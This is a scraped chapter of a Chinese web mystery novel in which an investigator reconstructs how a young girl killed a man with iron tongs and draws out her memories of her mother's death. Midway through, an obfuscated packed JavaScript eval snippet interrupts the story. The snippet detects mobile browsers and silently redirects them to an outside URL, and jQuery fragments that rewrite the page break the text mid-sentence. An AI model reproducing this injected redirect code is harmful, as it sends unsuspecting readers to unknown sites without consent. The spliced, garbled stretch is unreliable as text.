默认冷灰
24号文字
方正启体

31. 那晚

作者:故墟本书字数:K更新时间:
    人在惶急之下,猛然后退,本来就容易摔倒。徐大流还是在明知身后有人的情况下这么做,应当是存了几分撞开钱晚晴、夺路而逃的心思的。


    然而钱晚晴常年在野兽出没的山上采药,反应不可能不快。虽然没干过入室杀人的活,一时不慎给徐大流格飞了镰刀,但见他向后猛撞,定然急速往一旁偏斜。徐大流一股大力扑空,立时就维系不住平衡,仰面跌倒在地。


    景南陌在心里预演了许多遍,觉得只有这个情形最符合每个人在那种状况下的反应、以及现场的痕迹。


    她百忙之中分出用眼角余光瞧了一眼遥岑藏身的大树,见那人的身形已经不见。只是在仅有舒缓和风的清晨,那树木的叶子在不大规律的颤动,像是有个人在树杈上坐立不安。


    景南陌再偷眼去瞧钱晚晴,见她仍然是一副低头不语的样子,但双手指节已攥得发白,和掌下衣物绞作一团。


    “你见徐大流滚到地上,尝试着远离,随时可能逃脱掌控,心里也有点发慌,随手抄起旁边的一把铁钳,三两步赶上去,向下猛戳,要制住徐大流。然而一把插落之后,徐大流惨叫一声,鲜血喷泉一样溅出,眼见着就不成了。”


    其实,从摔倒到被铁钳插中,有一段空袭,徐大流暂得自由。他本可以张口大喊,引得其他人来。


    这样一来,钱晚晴未必会选择继续追击,也可能立刻离开现场,再寻机会。


    但一来他们谈论的事情与徐大流造谣生事、害死一条人命有关;二来徐大流正在仓皇躲避手持铁钳的钱晚晴,害怕张开嘴、一股气一泻,行动慢下来,给戳上几个透明窟窿;三来钱晚晴是个十二三岁的姑娘,徐大流深心之中,仍存侥幸,认为她无法杀死自己。


    于是徐大流仍然紧闭了嘴巴,两个人缄默的在屋中翻滚追逐,直到钱晚晴手中铁钳戳下,正中徐大流小腹,那人才知道自己死期已至,发出一声凄厉不甘的惨呼,叫隔壁的彭癞子有所惊觉。


    这也就是为何徐大流腹部的创口,是横着的两个圆孔,也能解释徐大流满身的肮脏尘土。


    如若像遥岑推测的那样,徐大流格飞了利刃之后,立即被铁钳戳中,那他处于站立,对方拿着铁钳戳进腹中,两个圆孔应当是竖着的,身上也不会如此肮脏。


    血泊中的抛甩状血迹,起点在地上,这是另一重佐证。


    至于遥岑先前所作的猜测,用铁钳捅入小腹将人杀死,需要不小的力气。景南陌并不反对。


    但力气这东西,未必是钱真这种膀大腰圆的壮汉才有,钱晚晴虽瞧着有些稚弱,当她常年在山间跑来跑去,不仅要上坡下坎,还要与野兽、落石、天气搏斗。


    手上没有两把子力气,只怕性命早丢了八百回,也不会有人出来报复当年的流言蜚语了。


    说罢徐大流的死,景南陌有些无奈地笑笑:


    “待徐大流死了,你迅速收拾了现场,捡起掉落的火折子和镰刀,这才离开。


    “不过我有些想不明白,徐大流死后,你去哪里了呢?当时城门差不多已经关了,出城不大可能,巡夜的人很快就会上街。虽然他们可能瞧不出你身上有血,但那时候血腥气味应当不小。”


    钱晚晴沉默了一会,忽然嗓音有些沙哑的开口:“回家了。”


    “……!”


    这短短三个字落在景南陌耳中,不逊于雷霆轰鸣,钱晚晴这么说,不仅等同于承认她就是杀掉徐大流的凶手,而且隐隐透露出,她可能知道月娘的死并非自尽。


    所以她才会在杀了一人后选择回家,完全不怕给钱真撞见,她准备终结害死母亲的第二个目标……还是她有信心,钱真即便发现,也不会把这件事告官?


    嗯……从钱真的角度来说,女儿杀了人,能够遮掩的情况下,他应该不会希望这件事给旁人知道。不然他即便不受牵连,监市的差事也十有八九要丢。


    难道那一晚他们父女已经见过了?钱真第二日听说徐大流被害,一下子想起钱晚晴穿着一件血衣回家,心中惶恐,所以才和女儿分头出去躲避。


    后来他怕官府最终会追查到钱晚晴头上,所以干脆自己出首顶罪?


    不,不可能……


    景南陌心道。她对那种“他家暴、他杀妻,但他爱女儿,他是个好父亲”的狗血戏码有种天然反感,但这不是左右她判断的依据,主要如果钱真知情且愿意为女儿顶罪,那他的很多行为就难以解释。


    钱真猜出端倪应该在早上,那盏随手放在桌上的茶水说明了问题,他设置的机关明显在防备谁,现下景南陌有七八成的把握,他在担心钱晚晴进入他的卧房。


    如果是防备官差的话,知道他们进没进房间无关紧要,假如是他们要抓捕钱真,在家里找不到人,肯定会分出一部分人手埋伏,另外通知左邻右舍,如若发现了疑犯踪迹,立即报告官府。知情不告与案犯同罪。


    在假想敌是官府的情况下,回去查看机关有没有被触动,跟主动投案有什么区别?


    而且钱真回家之后,发觉发丝断掉,第一反应是冲进厨房,拿了一把利器出来。作为久在官面上混的人,钱真不会不知道杀官拒捕会有多么悲惨的结局。只有他觉得对方的武力自己能够一搏的情况下,才会有掐断威胁的想法。


    当然,这也可以解释成,钱真发觉家里有人入侵之后,决定和官差拼了算了,但在院中踟蹰片刻,理智回笼,又窝囊的去放下了刀子。但如此一来,钱真大中午人多的时候回家就太莽了。


    如同景南陌之前所想,他选择这个时间段,似乎并不害怕大多数人。只是防备个别人的威胁。


    景南陌还没把钱真的动机理清,便听钱晚晴低声问:“阮姐姐,你要将我带给官府吗?”


    她的话语很轻,有如梦呓。但并无一丝恐惧之意,平静的像是在叙述别人的事。景南陌甚至觉得,无论什么样的结局,对面这女孩都不在乎。


    景南陌有些发怔,她下意识移开目光,很长时间没有言语。这一刻,钱晚晴像个置身事外的观察者,景南陌反倒有了被拷问的感觉。


    半晌过后,景南陌伸手托腮,有些头疼地道:“反正话都说到这份上了,跟我讲讲那晚是怎么回事吧。你回家,是为了报仇?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472008|169906||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>她虽然猜测到钱晚晴八成知道了钱真的事,但终究没法确定。所以只是模糊点出,摆出一副自己已经掌握一切的模样。如果钱晚晴确实知道母亲的死与父亲有关,反正事已至此,她应该愿意再透露点什么给自己。


    如果钱晚晴只是想杀了徐大流后,再回家瞧瞧。那么这种模糊的说法不会对她形成太大刺激,使事情往不可预料的方向狂奔。


    果然此言一出,钱晚晴突的浑身一震,她几乎要站起身来,又强行忍住,双目之中迸发出一道锐芒,直直盯着景南陌:“你怎知道?”


    那一刻,景南陌觉得自己要是不马上回答,片刻间就要给那混杂着愤怒、痛苦、怨毒的目光撕成碎片。


    她知道,她什么都知道。


    钱晚晴的反应说明了一切。


    景南陌苦笑:“我检验过你母亲的尸骨。不过你放心,得一位朋友帮忙,用了些特殊手段,并没有开棺。”


    景南陌觉得,在这个时代,这种事情还是解释清楚的好,不然给人打死都算白挨的。


    然而钱晚晴似乎对这件事并不太生气,她眼中的锐芒渐渐消退,变作纯粹的伤感痛楚。


    景南陌见此情形,本着确认的心态问了一句:“你娘叫‘月盈’,是么?这名字很美。”


    钱晚晴机械地点了点头,重又垂下眼,盯着面前的汤碗出神。


    景南陌没有催促,在旁边静静等了一会,才听见钱晚晴缓慢开口:“你知道她是被人害了的,这很好。那天……那天……”


    她双眉紧蹙,开口说出的,并不是景南陌询问的案发那晚的事,却是更久之前的回忆:“那天阿娘带我回到家里,我就发觉钱真的神情很不对,他面色铁青,坐在椅子上一言不发,看着我们的样子像是要吃人。”


    钱晚晴很自然的直呼了钱真的大名,全然不在乎在各位老儒、学究眼里,这是极为大逆不道的行径:


    “我觉得有些害怕,阿娘却拍了拍我的背,让我去睡觉。我看她对着我笑……我想……我想阿娘既然没有哭,这应该不是坏的事情。于是就和阿娘……还有钱真请了安,自己回屋去了。


    “但我在床上,翻来覆去总是睡不着。一闭眼,钱真的眼神总在我眼前……凶霸霸、阴沉沉。我越想越是害怕,想要找阿娘来和我一起睡,却听见正房屋里,传来她和钱真的争吵声。


    “他们似乎都很生气,但还是各自压住了声音。我悄悄跳下了床,打开门,隐约听见阿娘道:‘你既这样说,事情也很好办,明日里待大家都到了,这些天是谁传的风言风语,叫他们一并过来,和我、还有廖二当着众人的面对质,一切自然分说得清楚。’”


    “钱真连声呵斥:‘你疯了!你还嫌不够丢人,非要把这件事传扬得人尽皆知?’


    “阿娘只道:‘我扪心自问,未做过一件有违公理正道之事,何来丢人?难道一个女人,被人背后说了长短,就要低贱三分吗?


    “丢人的该是以谣言中伤他人的阴沟老鼠,是添油加醋唯恐天下不乱的长舌头,还有听风就是雨、只顾全自己那可怜脸面罔顾事实的懦夫!’”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)